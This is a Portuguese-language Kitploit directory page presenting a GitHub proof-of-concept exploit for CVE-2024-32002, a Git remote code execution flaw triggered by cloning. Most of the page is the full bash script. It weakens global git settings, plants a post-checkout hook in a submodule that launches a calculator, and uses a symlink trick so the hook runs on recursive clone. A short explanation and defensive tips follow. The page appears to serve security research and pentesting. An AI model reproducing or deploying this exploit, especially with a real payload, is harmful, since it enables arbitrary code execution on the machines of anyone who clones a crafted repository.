Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/bohemianhacks/cve-2024-32002-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubbohemianhacks/cve-2024-32002-poc

CVE-2024-32002-poc

CVE-2024-32002 é uma vulnerabilidade grave no Git que permite que um atacante execute código arbitrário remotamente (RCE) quando um usuário executa a operação git clone.

Ver Repositório
111há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Bash Script:

root@kitploit:~
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main 

# Define tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF

# Make hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

# Local testing (not needed for GitHub)
git clone --recursive captain hooked

Explicação em Português Simples:

Este script Bash cria um repositório Git malicioso que explora uma vulnerabilidade (CVE-2024-32002) para executar código malicioso quando alguém clona o repositório.

Aqui está uma descrição do que o script faz:

  1. Configura o Git: Ativa certas funcionalidades necessárias para o ataque.
  2. Cria um repositório de hook malicioso: Este repositório contém um script oculto que será executado quando alguém o clonar.
  3. Cria um repositório enganoso: Este repositório, chamado "captain", parece inofensivo mas contém secretamente o repositório de hook malicioso como um submódulo.
  4. Adiciona um link simbólico: Este truque é usado para ocultar o hook malicioso e fazê-lo executar quando o repositório é clonado.

Quando alguém clona o repositório "captain", o script malicioso será executado no seu computador, potencialmente levando a consequências prejudiciais como:

  • Instalar malware: O script pode baixar e instalar software malicioso.
  • Roubo de dados: Pode roubar informações sensíveis do computador da vítima.
  • Comprometimento do sistema: O script pode obter acesso não autorizado ao sistema.

Para se proteger de tais ataques:

  • Mantenha seu cliente Git atualizado: Certifique-se de ter a versão mais recente para corrigir vulnerabilidades.
  • Tenha cuidado ao clonar repositórios: Clone apenas repositórios de fontes confiáveis.
  • Use um programa antivírus respeitável: Isso pode ajudar a detectar e bloquear software malicioso.
  • Esteja ciente de ataques de phishing: Evite clicar em links suspeitos ou baixar arquivos de fontes desconhecidas.

Seguindo essas precauções, você pode reduzir significativamente o risco de ser vítima de ataques semelhantes.

Baixar ferramenta